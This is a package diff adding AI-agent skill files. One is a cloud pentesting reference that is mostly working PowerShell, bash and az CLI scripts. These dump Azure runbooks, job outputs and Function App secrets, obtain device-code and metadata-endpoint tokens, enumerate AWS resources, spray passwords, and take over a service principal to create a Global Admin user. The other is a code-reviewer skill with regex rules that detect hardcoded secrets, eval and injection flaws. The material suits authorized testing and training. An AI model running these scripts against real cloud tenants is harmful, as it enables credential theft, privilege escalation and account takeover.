gkt-node 3.3.0

package/assets/.agent/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md

@@ -0,0 +1,318 @@
+# Advanced Cloud Pentesting Scripts
+
+Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
+
+## Azure Automation Runbooks
+
+### Export All Runbooks from All Subscriptions
+
+```powershell
+$subs = Get-AzSubscription
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    mkdir .\$subscriptionid\
+    Select-AzSubscription -Subscription $subscriptionid
+    $runbooks = @()
+    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
+    foreach ($i in $autoaccounts){
+        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
+    }
+    foreach($r in $runbooks){
+        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
+    }
+}
+```
+
+### Export All Automation Job Outputs
+
+```powershell
+$subs = Get-AzSubscription
+$jobout = @()
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    Select-AzSubscription -Subscription $subscriptionid
+    $jobs = @()
+    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
+    foreach ($i in $autoaccounts){
+        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
+    }
+    foreach($r in $jobs){
+        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
+    }
+}
+$jobout | Out-File -Encoding ascii joboutputs.txt
+```
+
+## Azure Function Apps
+
+### List All Function App Hostnames
+
+```powershell
+$functionapps = Get-AzFunctionApp
+foreach($f in $functionapps){
+    $f.EnabledHostname
+}
+```
+
+### Extract Function App Information
+
+```powershell
+$subs = Get-AzSubscription
+$allfunctioninfo = @()
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    Select-AzSubscription -Subscription $subscriptionid
+    $functionapps = Get-AzFunctionApp
+    foreach($f in $functionapps){
+        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
+        $allfunctioninfo += $f.SiteConfig | fl
+        $allfunctioninfo += $f.ApplicationSettings | fl
+        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
+    }
+}
+$allfunctioninfo
+```
+
+## Azure Device Code Login Flow
+
+### Initiate Device Code Login
+
+```powershell
+$body = @{
+    "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
+    "resource"  = "https://graph.microsoft.com"
+}
+$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
+$Headers = @{}
+$Headers["User-Agent"] = $UserAgent
+$authResponse = Invoke-RestMethod `
+    -UseBasicParsing `
+    -Method Post `
+    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
+    -Headers $Headers `
+    -Body $body
+$authResponse
+```
+
+Navigate to https://microsoft.com/devicelogin and enter the code.
+
+### Retrieve Access Tokens
+
+```powershell
+$body = @{
+    "client_id"  = "1950a258-227b-4e31-a9cf-717495945fc2"
+    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
+    "code"       = $authResponse.device_code
+}
+$Tokens = Invoke-RestMethod `
+    -UseBasicParsing `
+    -Method Post `
+    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
+    -Headers $Headers `
+    -Body $body
+$Tokens
+```
+
+## Azure Managed Identity Token Retrieval
+
+```powershell
+# From Azure VM
+Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
+
+# Full instance metadata
+$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
+$instance
+```
+
+## AWS Region Iteration Scripts
+
+Create `regions.txt`:
+```
+us-east-1
+us-east-2
+us-west-1
+us-west-2
+ca-central-1
+eu-west-1
+eu-west-2
+eu-west-3
+eu-central-1
+eu-north-1
+ap-southeast-1
+ap-southeast-2
+ap-south-1
+ap-northeast-1
+ap-northeast-2
+ap-northeast-3
+sa-east-1
+```
+
+### List All EC2 Public IPs
+
+```bash
+while read r; do
+    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
+done < regions.txt
+sort -u ec2-public-ips.txt -o ec2-public-ips.txt
+```
+
+### List All ELB DNS Addresses
+
+```bash
+while read r; do
+    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
+    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
+done < regions.txt
+sort -u elb-public-dns.txt -o elb-public-dns.txt
+```
+
+### List All RDS DNS Addresses
+
+```bash
+while read r; do
+    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
+done < regions.txt
+sort -u rds-public-dns.txt -o rds-public-dns.txt
+```
+
+### Get CloudFormation Outputs
+
+```bash
+while read r; do
+    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
+done < regions.txt
+```
+
+## ScoutSuite jq Parsing Queries
+
+### AWS Queries
+
+```bash
+# Find All Lambda Environment Variables
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
+done
+
+# Find World Listable S3 Buckets
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
+done
+
+# Find All EC2 User Data
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
+done
+
+# Find EC2 Security Groups That Whitelist AWS CIDRs
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
+done
+
+# Find All EC2 EBS Volumes Unencrypted
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
+done
+
+# Find All EC2 EBS Snapshots Unencrypted
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
+done
+```
+
+### Azure Queries
+
+```bash
+# List All Azure App Service Host Names
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
+
+# List All Azure SQL Servers
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
+
+# List All Azure Virtual Machine Hostnames
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
+
+# List Storage Accounts
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
+
+# List Disks Encrypted with Platform Managed Keys
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
+```
+
+## Password Spraying with Az PowerShell
+
+```powershell
+$userlist = Get-Content userlist.txt
+$passlist = Get-Content passlist.txt
+$linenumber = 0
+$count = $userlist.count
+foreach($line in $userlist){
+    $user = $line
+    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
+    $current = $linenumber + 1
+    Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
+    $linenumber++
+    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
+    try {
+        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
+        Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
+        Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
+    }
+    catch {
+        $Failure = $_.Exception
+        if ($Failure -match "ID3242") { continue }
+        else {
+            Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
+            Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
+            Add-Content valid-creds.txt $Failure.Message
+            Write-Host -ForegroundColor red $Failure.Message
+        }
+    }
+}
+```
+
+## Service Principal Attack Path
+
+```bash
+# Reset service principal credential
+az ad sp credential reset --id <app_id>
+az ad sp credential list --id <app_id>
+
+# Login as service principal
+az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
+
+# Create new user in tenant
+az ad user create --display-name <name> --password <password> --user-principal-name <upn>
+
+# Add user to Global Admin via MS Graph
+$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
+az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
+```
+
+## Additional Tools Reference
+
+| Tool | URL | Purpose |
+|------|-----|---------|
+| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
+| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
+| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
+| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
+| MSOLSpray | github.com/dafthack | O365 password spraying |
+| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
+| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
+| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
+| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
+| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
+| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
+| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
+| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
+| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
+
+## Vulnerable Training Environments
+
+| Platform | URL | Purpose |
+|----------|-----|---------|
+| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
+| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
+| Flaws Cloud | flaws.cloud | AWS CTF challenges |
+| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |

package/assets/.agent/skills/code-reviewer/SKILL.md

@@ -0,0 +1,31 @@
+---
+name: code-reviewer
+description: Automated code quality review with pattern-based analysis. Scans for anti-patterns, naming issues, security risks, and best practices.
+---
+
+# Code Reviewer Skill
+
+## Purpose
+Provides **zero-token code quality scanning** through regex-based pattern detection. The script scans source files and returns a structured report without consuming LLM tokens for the analysis.
+
+## Usage
+
+```bash
+# Full scan:
+python .agent/skills/code-reviewer/scripts/reviewer.py --path "src/" --action scan
+
+# Naming convention check:
+python .agent/skills/code-reviewer/scripts/reviewer.py --path "src/" --action naming
+
+# Security-focused scan:
+python .agent/skills/code-reviewer/scripts/reviewer.py --path "src/" --action security
+```
+
+## Output
+Returns a JSON report with:
+- `issues`: list of detected issues with file, line, severity, rule, description
+- `summary`: count by severity, overall quality score (A-F)
+- `suggestions`: actionable fix recommendations
+
+## Data Files
+- `review_rules.json`: All detection rules organized by category

package/assets/.agent/skills/code-reviewer/data/review_rules.json

@@ -0,0 +1,172 @@
+{
+    "rules": [
+        {
+            "id": "SEC001",
+            "category": "security",
+            "severity": "critical",
+            "pattern": "(password|secret|api_key|apikey|token|private_key)\\s*=\\s*[\"'][^\"']+[\"']",
+            "exclude_pattern": "(example|test|mock|sample|placeholder|env\\.|process\\.env|os\\.environ|getenv)",
+            "message": "Hardcoded secret or credential detected",
+            "suggestion": "Move to environment variables (.env) and use os.environ or process.env"
+        },
+        {
+            "id": "SEC002",
+            "category": "security",
+            "severity": "critical",
+            "pattern": "eval\\s*\\(|exec\\s*\\(",
+            "exclude_pattern": "(#.*eval|//.*eval|test)",
+            "message": "Use of eval() or exec() — potential code injection risk",
+            "suggestion": "Avoid eval/exec. Use safer alternatives like JSON.parse() or ast.literal_eval()"
+        },
+        {
+            "id": "SEC003",
+            "category": "security",
+            "severity": "warning",
+            "pattern": "innerHTML\\s*=",
+            "message": "Direct innerHTML assignment — potential XSS vulnerability",
+            "suggestion": "Use textContent or sanitize input with DOMPurify"
+        },
+        {
+            "id": "SEC004",
+            "category": "security",
+            "severity": "critical",
+            "pattern": "f[\"'].*\\{.*\\}.*[\"'].*execute|cursor\\.execute\\s*\\(\\s*f[\"']",
+            "message": "Potential SQL injection via f-string in query",
+            "suggestion": "Use parameterized queries: cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))"
+        },
+        {
+            "id": "SEC005",
+            "category": "security",
+            "severity": "warning",
+            "pattern": "CORS.*\\*|Access-Control-Allow-Origin.*\\*",
+            "message": "Wildcard CORS policy — allows any origin",
+            "suggestion": "Restrict CORS to specific trusted domains"
+        },
+        {
+            "id": "SEC006",
+            "category": "security",
+            "severity": "warning",
+            "pattern": "http://(?!localhost|127\\.0\\.0\\.1)",
+            "message": "HTTP URL detected — should use HTTPS",
+            "suggestion": "Replace http:// with https:// for security"
+        },
+        {
+            "id": "NAM001",
+            "category": "naming",
+            "severity": "info",
+            "pattern": "\\b(data|info|temp|tmp|foo|bar|baz|xxx|yyy|test1|test2)\\b\\s*=",
+            "exclude_pattern": "(#|//|test_|_test|spec)",
+            "message": "Non-descriptive variable name",
+            "suggestion": "Use meaningful variable names that describe the content (e.g., 'userData' instead of 'data')"
+        },
+        {
+            "id": "NAM002",
+            "category": "naming",
+            "severity": "info",
+            "pattern": "\\b[a-z]\\b\\s*=\\s*(?!0\\b|1\\b|True|False|None|null|undefined)",
+            "exclude_pattern": "(for\\s|in\\s|range|enumerate|#|//|_\\s*=|i\\s*=|j\\s*=|k\\s*=|e\\s*=)",
+            "message": "Single-character variable name (outside of loop counters)",
+            "suggestion": "Use descriptive variable names for better readability"
+        },
+        {
+            "id": "PERF001",
+            "category": "performance",
+            "severity": "warning",
+            "pattern": "SELECT\\s+\\*\\s+FROM",
+            "message": "SELECT * query — fetches unnecessary columns",
+            "suggestion": "Specify only the columns you need: SELECT col1, col2 FROM table"
+        },
+        {
+            "id": "PERF002",
+            "category": "performance",
+            "severity": "warning",
+            "pattern": "for.*in.*:.*\\n.*\\s+(query|execute|fetch|find|get_or_create)",
+            "message": "Potential N+1 query pattern — database call inside loop",
+            "suggestion": "Use batch queries, prefetch_related(), or JOINs instead"
+        },
+        {
+            "id": "PERF003",
+            "category": "performance",
+            "severity": "info",
+            "pattern": "import\\s+time.*\\n.*time\\.sleep",
+            "message": "Synchronous sleep detected — may block event loop",
+            "suggestion": "Use asyncio.sleep() in async context or consider non-blocking alternatives"
+        },
+        {
+            "id": "PERF004",
+            "category": "performance",
+            "severity": "warning",
+            "pattern": "\\.append\\(.*\\).*for\\s+.*\\s+in",
+            "message": "List append in loop — consider list comprehension",
+            "suggestion": "Use list comprehension for better performance: [x for x in items]"
+        },
+        {
+            "id": "QUAL001",
+            "category": "scan",
+            "severity": "warning",
+            "pattern": "except\\s*:|except\\s+Exception\\s*:",
+            "exclude_pattern": "(#.*except|//.*except|logging|logger|log\\.)",
+            "message": "Broad exception catch — may hide bugs",
+            "suggestion": "Catch specific exceptions (e.g., ValueError, KeyError) and log the error"
+        },
+        {
+            "id": "QUAL002",
+            "category": "scan",
+            "severity": "info",
+            "pattern": "(TODO|FIXME|HACK|XXX|TEMP|TEMPORARY)",
+            "message": "TODO/FIXME comment found — pending work item",
+            "suggestion": "Resolve or create a ticket for this item before shipping"
+        },
+        {
+            "id": "QUAL003",
+            "category": "scan",
+            "severity": "warning",
+            "pattern": "console\\.(log|warn|error|debug)\\(",
+            "exclude_pattern": "(test|spec|debug|logger)",
+            "message": "console.log left in production code",
+            "suggestion": "Remove console.log or replace with proper logging library"
+        },
+        {
+            "id": "QUAL004",
+            "category": "scan",
+            "severity": "warning",
+            "pattern": "print\\s*\\(",
+            "exclude_pattern": "(#.*print|test|cli|__main__|argparse|click|if\\s+__name__)",
+            "message": "print() statement in production code",
+            "suggestion": "Use logging module instead of print() for production code"
+        },
+        {
+            "id": "QUAL005",
+            "category": "scan",
+            "severity": "critical",
+            "pattern": "debugger;|breakpoint\\(\\)|import\\s+pdb",
+            "message": "Debugger statement left in code",
+            "suggestion": "Remove debugger/breakpoint statements before committing"
+        },
+        {
+            "id": "QUAL006",
+            "category": "scan",
+            "severity": "info",
+            "pattern": "\\bif\\b.*\\bif\\b.*\\bif\\b",
+            "message": "Deeply nested conditionals — complexity concern",
+            "suggestion": "Consider extracting into separate functions or using early returns"
+        },
+        {
+            "id": "QUAL007",
+            "category": "scan",
+            "severity": "warning",
+            "pattern": "\\b(var)\\s+\\w+\\s*=",
+            "message": "Use of 'var' in JavaScript — prefer 'const' or 'let'",
+            "suggestion": "Replace 'var' with 'const' (preferred) or 'let' for modern JS"
+        },
+        {
+            "id": "QUAL008",
+            "category": "scan",
+            "severity": "info",
+            "pattern": "==(?!=)|!=(?!=)",
+            "exclude_pattern": "(python|py$|\\.py|#|None|True|False)",
+            "message": "Loose equality check in JavaScript — use strict equality",
+            "suggestion": "Use === and !== instead of == and != to avoid type coercion"
+        }
+    ]
+}